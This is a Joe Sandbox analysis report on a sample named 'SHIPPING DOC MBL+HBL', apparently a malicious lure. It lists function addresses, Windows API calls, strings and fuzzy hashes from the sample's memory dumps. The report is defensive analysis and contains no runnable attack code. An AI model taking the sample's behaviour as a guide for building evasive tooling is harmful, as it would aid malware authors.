Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
String ID: 0$F
API String ID: 176399719-3044882817
Opcode ID: 145b8f019ca28893bb16aaeb3db6ede4205c905b1866b4b28854d2652f5b355d
Instruction ID: bf902dcc804e063eee1d28732e4e68384ec330580db5d125c498db7bf25cd056
Opcode Fuzzy Hash: 145b8f019ca28893bb16aaeb3db6ede4205c905b1866b4b28854d2652f5b355d
Instruction Fuzzy Hash: 794135B5A01209EFDB10EF65D888A9A7BF9FF49300F244129F949A7360D731AD14CBA0

Function 00E874ED Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 00E87590
CreateCompatibleDC.GDI32(00000000), ref: 00E87597
SendMessageW.USER32(?,00000173,00000000,00000000), ref: 00E875AA
SelectObject.GDI32(00000000,00000000), ref: 00E875B2
GetPixel.GDI32(00000000,00000000,00000000), ref: 00E875BD
DeleteDC.GDI32(00000000), ref: 00E875C6
GetWindowLongW.USER32(?,000000EC), ref: 00E875D0
SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 00E875E4
DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 00E875F0

Strings

static, xrefs: 00E87528

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
String ID: static
API String ID: 2559357485-2160076837
Opcode ID: ed867901f020f9cf73b67c17645e129e8b9aed5252e4f4f28ff7306eed3aca8c
Instruction ID: 7e79e60d26b6877c8d9dd6e7f71a24f88bf39d9840d502f37630a3c6d48d8392
Opcode Fuzzy Hash: ed867901f020f9cf73b67c17645e129e8b9aed5252e4f4f28ff7306eed3aca8c
Instruction Fuzzy Hash: 90318C72105214AFDF11AFA5DC08FDA3B69EF09325F201224FA5DB60A0C731D854DBA0

Function 00E26F80 Relevance: 16.8, APIs: 11, Instructions: 258COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00E26FBB

Part of subcall function 00E28CA8: __getptd_noexit.LIBCMT ref: 00E28CA8

__gmtime64_s.LIBCMT ref: 00E27054
__gmtime64_s.LIBCMT ref: 00E2708A
__gmtime64_s.LIBCMT ref: 00E270A7
__allrem.LIBCMT ref: 00E270FD
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00E27119
__allrem.LIBCMT ref: 00E27130
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00E2714E
__allrem.LIBCMT ref: 00E27165
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00E27183
__invoke_watson.LIBCMT ref: 00E271F4

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: f1a8c047e8f29504aad4589f782c76ed1b73a3870b2d4d8a344ebdfc9c3668e8
Instruction ID: 6c56220cda8446ecf4053f9be77c62768d993a225571964a8e63f1a6013def93
Opcode Fuzzy Hash: f1a8c047e8f29504aad4589f782c76ed1b73a3870b2d4d8a344ebdfc9c3668e8
Instruction Fuzzy Hash: 0D710871A01726ABEB149F79EC42B6AB7E8AF01324F146229F554F7281EB70ED50C7D0

Function 00E6281F Relevance: 16.7, APIs: 11, Instructions: 190windowsleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00E6283A
GetMenuItemInfoW.USER32(00EC5890,000000FF,00000000,00000030), ref: 00E6289B
SetMenuItemInfoW.USER32(00EC5890,00000004,00000000,00000030), ref: 00E628D1
Sleep.KERNEL32(000001F4), ref: 00E628E3
GetMenuItemCount.USER32(?), ref: 00E62927
GetMenuItemID.USER32(?,00000000), ref: 00E62943
GetMenuItemID.USER32(?,-00000001), ref: 00E6296D
GetMenuItemID.USER32(?,?), ref: 00E629B2
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00E629F8
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00E62A0C
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00E62A2D

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep_memset
String ID:
API String ID: 4176008265-0
Opcode ID: e920aa8671ab5e93446aaf6733fb5979915491bedc29f536aad53de8018575be
Instruction ID: e5cff2410a28460829a2f2147b88fef11442bcb43940c6bf1348bb1cee8751ac
Opcode Fuzzy Hash: e920aa8671ab5e93446aaf6733fb5979915491bedc29f536aad53de8018575be
Instruction Fuzzy Hash: E761D370940A49AFDB25CFA4EC88DBE7BB8EB84388F14106DFA41B7251D771AD45DB20

Function 00E86F55 Relevance: 16.7, APIs: 11, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00E86FD7
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00E86FDA
GetWindowLongW.USER32(?,000000F0), ref: 00E86FFE
_memset.LIBCMT ref: 00E8700F
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00E87021
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00E87099

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: MessageSend$LongWindow_memset
String ID:
API String ID: 830647256-0
Opcode ID: 53a3b0b1f20006318224dbc6bcd9c3a3f1444f7652e70f27ef2375e11e4f3d87
Instruction ID: 39d1f87dd5809a55828f1dc9ee933e5aca3eb5c9997453cbbd7a5ed2dbff1f32
Opcode Fuzzy Hash: 53a3b0b1f20006318224dbc6bcd9c3a3f1444f7652e70f27ef2375e11e4f3d87
Instruction Fuzzy Hash: 48618F71A00208AFDB10DFA4CC85EEE77F8EB09704F14016AFA58BB2A1C771AD45DB50

Function 00E56EEE Relevance: 16.6, APIs: 11, Instructions: 123memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 00E56F15
SafeArrayAllocData.OLEAUT32(?), ref: 00E56F6E
VariantInit.OLEAUT32(?), ref: 00E56F80
SafeArrayAccessData.OLEAUT32(?,?), ref: 00E56FA0
VariantCopy.OLEAUT32(?,?), ref: 00E56FF3
SafeArrayUnaccessData.OLEAUT32(?), ref: 00E57007
VariantClear.OLEAUT32(?), ref: 00E5701C
SafeArrayDestroyData.OLEAUT32(?), ref: 00E57029
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00E57032
VariantClear.OLEAUT32(?), ref: 00E57044
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00E5704F

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: 61058266554206b86cd02dcfaf76c7a9d265317fcbf760ce862cbe8cc1b00eb0
Instruction ID: d8ef007335679040fbe7ce19ff0a49f8f802acc92bf950ce6aa3fb8ecfbbd7eb
Opcode Fuzzy Hash: 61058266554206b86cd02dcfaf76c7a9d265317fcbf760ce862cbe8cc1b00eb0
Instruction Fuzzy Hash: 88414235A002199FCB04DFA5D844DAEBBF9FF48355F009469E959F7261CB30A949CFA0

Function 00E75848 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00E758A9
inet_addr.WSOCK32(?,?,?), ref: 00E758EE
gethostbyname.WSOCK32(?), ref: 00E758FA
IcmpCreateFile.IPHLPAPI ref: 00E75908
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00E75978
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00E7598E
IcmpCloseHandle.IPHLPAPI(00000000), ref: 00E75A03
WSACleanup.WSOCK32 ref: 00E75A09

Strings

Ping, xrefs: 00E7592C

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: 121eba232cb3f64398d818871086d83dc4cc826d38fa95f82e1ec28086cc03d6
Instruction ID: 611de7b5cabe1c25cc0d15ec4a877f8d33dc5067d8593a7df0998a1dfe8bd86e
Opcode Fuzzy Hash: 121eba232cb3f64398d818871086d83dc4cc826d38fa95f82e1ec28086cc03d6
Instruction Fuzzy Hash: 8E517F32604700DFD7119F65CC85B2AB7E4AB88724F149929F9AAF72E1DB70EC44CB42

Function 00E6B54F Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 98COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00E6B55C
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 00E6B5D2
GetLastError.KERNEL32 ref: 00E6B5DC
SetErrorMode.KERNEL32(00000000,READY), ref: 00E6B649

Strings

NOTREADY, xrefs: 00E6B608
READY, xrefs: 00E6B622
READONLY, xrefs: 00E6B614
UNKNOWN, xrefs: 00E6B601
INVALID, xrefs: 00E6B61B

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: cf8a6663394b8db99a78a25bc693c07afbf99e38c9ea872ef7bec41adf785286
Instruction ID: 92621594e0976e3e27069a8cda74ac1d83e6f96f9b4fc8349d8cea8f79bf2674
Opcode Fuzzy Hash: cf8a6663394b8db99a78a25bc693c07afbf99e38c9ea872ef7bec41adf785286
Instruction Fuzzy Hash: 94319235A802099FCB10DF68E985EEE77B4FF04394F145065F516F7292DB709986CB90

Function 00E59251 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 82windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E07F41: _memmove.LIBCMT ref: 00E07F82

Part of subcall function 00E5AEA4: GetClassNameW.USER32(?,?,000000FF), ref: 00E5AEC7

SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 00E592D6
GetDlgCtrlID.USER32 ref: 00E592E1
GetParent.USER32 ref: 00E592FD
SendMessageW.USER32(00000000,?,00000111,?), ref: 00E59300
GetDlgCtrlID.USER32(?), ref: 00E59309
GetParent.USER32(?), ref: 00E59325
SendMessageW.USER32(00000000,?,?,00000111), ref: 00E59328

Strings

ListBox, xrefs: 00E59293
ComboBox, xrefs: 00E5925E

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: c03f73b0f45fc703e3b9513637f8a186bda6a40482cacc822955cf49b304354c
Instruction ID: 15d6a888500cfd9ccf519cc77b03a34d8e8efd9e3f4abd42c15096e1531e3026
Opcode Fuzzy Hash: c03f73b0f45fc703e3b9513637f8a186bda6a40482cacc822955cf49b304354c
Instruction Fuzzy Hash: A921A174A00204BFDF04AB61CC859EEBBA4EF49310F101665F961B72E2DA755859DB20

Function 00E5933C Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E07F41: _memmove.LIBCMT ref: 00E07F82

Part of subcall function 00E5AEA4: GetClassNameW.USER32(?,?,000000FF), ref: 00E5AEC7

SendMessageW.USER32(?,00000186,00000002,00000000), ref: 00E593BF
GetDlgCtrlID.USER32 ref: 00E593CA
GetParent.USER32 ref: 00E593E6
SendMessageW.USER32(00000000,?,00000111,?), ref: 00E593E9
GetDlgCtrlID.USER32(?), ref: 00E593F2
GetParent.USER32(?), ref: 00E5940E
SendMessageW.USER32(00000000,?,?,00000111), ref: 00E59411

Strings

ListBox, xrefs: 00E5937E
ComboBox, xrefs: 00E59349

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: fa6db13bbfe21d9f1e0071e6ef43d1edd18210e7da2e30542cd7726fbc6e152f
Instruction ID: 03dbd8a1a115869df3e265a6782dd49bb78988c1c888d704d69b79b5662b5d63
Opcode Fuzzy Hash: fa6db13bbfe21d9f1e0071e6ef43d1edd18210e7da2e30542cd7726fbc6e152f
Instruction Fuzzy Hash: 7F21C470A00204BFDF04AB65CC85EFEBBB8EF48300F101525F961B72A2DB755959EB20

Function 00E59425 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 72windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00E59431
GetClassNameW.USER32(00000000,?,00000100), ref: 00E59446
_wcscmp.LIBCMT ref: 00E59458
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00E594D3

Strings

details, xrefs: 00E59481
largeicons, xrefs: 00E59467
SHELLDLL_DefView, xrefs: 00E59452
smallicons, xrefs: 00E5949B
list, xrefs: 00E594B5

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: ClassMessageNameParentSend_wcscmp
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1704125052-3381328864
Opcode ID: 62250bd50565deee4f83059ac9f25048271d8a1e45ab3b0e90b4f62762a01597
Instruction ID: 4ac9a3cd072d8695019745617afcba199c5331900db01a2b99da3c6cd91a662f
Opcode Fuzzy Hash: 62250bd50565deee4f83059ac9f25048271d8a1e45ab3b0e90b4f62762a01597
Instruction Fuzzy Hash: 26113636248317FAFA102630AC07DE7339C8B44325F206027FE24F04E2FA656C4A4A90

Function 00E614FF Relevance: 15.1, APIs: 10, Instructions: 89threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00E61521
GetForegroundWindow.USER32(00000000,?,?,?,?,?,00E60599,?,00000001), ref: 00E61535
GetWindowThreadProcessId.USER32(00000000), ref: 00E6153C
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00E60599,?,00000001), ref: 00E6154B
GetWindowThreadProcessId.USER32(?,00000000), ref: 00E6155D
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00E60599,?,00000001), ref: 00E61576
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00E60599,?,00000001), ref: 00E61588
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00E60599,?,00000001), ref: 00E615CD
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00E60599,?,00000001), ref: 00E615E2
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00E60599,?,00000001), ref: 00E615ED

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: 2dc386e484973882847dec2259628060c36e802cf48b995c29f2765aa846e5c4
Instruction ID: a4c0ca44e88595544b577e7881405d2eb285278d9651f816c6a39de6116c30c0
Opcode Fuzzy Hash: 2dc386e484973882847dec2259628060c36e802cf48b995c29f2765aa846e5c4
Instruction Fuzzy Hash: AD31F771640204BFDF129F52FC44F6AB7A9EF84355F14406AF817F61A0DB759D448B50

Function 00E79228 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 263COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00E7927C
VariantInit.OLEAUT32(?), ref: 00E7934D
VariantInit.OLEAUT32(?), ref: 00E7944E
VariantClear.OLEAUT32(?), ref: 00E79458
VariantClear.OLEAUT32(?), ref: 00E794B5

Strings

Null Object assignment in FOR..IN loop, xrefs: 00E792DD, 00E7940B, 00E794C3
,,, xrefs: 00E792FA
Incorrect Object type in FOR..IN loop, xrefs: 00E79431

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Variant$ClearInit$_memset
String ID: ,,$Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2862541840-218231672
Opcode ID: 84016a84103711a5cd0c9ab9ae89d997548bd09f718dd1194da350512920d132
Instruction ID: 9a8718db6d3cc985956e717464e6d296f9c48b868d6dead4116bedda101c79d0
Opcode Fuzzy Hash: 84016a84103711a5cd0c9ab9ae89d997548bd09f718dd1194da350512920d132
Instruction Fuzzy Hash: E391AC70A00219ABDF24DFA5D884FAEBBB8EF45714F109159F519BB282D7709905CFA0

Function 00E5A473 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 241COMMON

Download Yara Rule

APIs

EnumChildWindows.USER32(?,00E5A844), ref: 00E5A782

Strings

INSTANCE, xrefs: 00E5A690
CLASS, xrefs: 00E5A501
NAME, xrefs: 00E5A5B4
TEXT, xrefs: 00E5A6B9
REGEXPCLASS, xrefs: 00E5A547
CLASSNN, xrefs: 00E5A524

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: ChildEnumWindows
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 3555792229-1603158881
Opcode ID: 26d5fe1364e57bd65ef5dc02d8fc952580fc60629a87ec12f80fba0a77591ce4
Instruction ID: bfbb8cc35c964cbf1207d1baa902ee2f2d9bd0e804976487bf0464f4c22a7703
Opcode Fuzzy Hash: 26d5fe1364e57bd65ef5dc02d8fc952580fc60629a87ec12f80fba0a77591ce4
Instruction Fuzzy Hash: 6591A570A00505ABCB08DF70C4D2BEAFBB5BF44305F18A62ADD99B7181DB70699DCB91

Function 00E02E26 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 186windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 00E02EAE

Part of subcall function 00E01DB3: GetClientRect.USER32(?,?), ref: 00E01DDC
Part of subcall function 00E01DB3: GetWindowRect.USER32(?,?), ref: 00E01E1D
Part of subcall function 00E01DB3: ScreenToClient.USER32(?,?), ref: 00E01E45

GetDC.USER32 ref: 00E3CEB2
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00E3CEC5
SelectObject.GDI32(00000000,00000000), ref: 00E3CED3
SelectObject.GDI32(00000000,00000000), ref: 00E3CEE8
ReleaseDC.USER32(?,00000000), ref: 00E3CEF0
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 00E3CF7B

Strings

U, xrefs: 00E3CE50

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: 11bec5c4d1bbc29b62e804b37f5b8a02a2faf8930a4d7e859e8c68c984f87e0a
Instruction ID: c5ff6bbb54e6db0d7c7380ff0376b50656d27bd30d5d7232e020a266299643cb
Opcode Fuzzy Hash: 11bec5c4d1bbc29b62e804b37f5b8a02a2faf8930a4d7e859e8c68c984f87e0a
Instruction Fuzzy Hash: 56719131500205DFCF269F64C888ABA7BF6FF48314F24626AEE557A1A6C731D891DF60

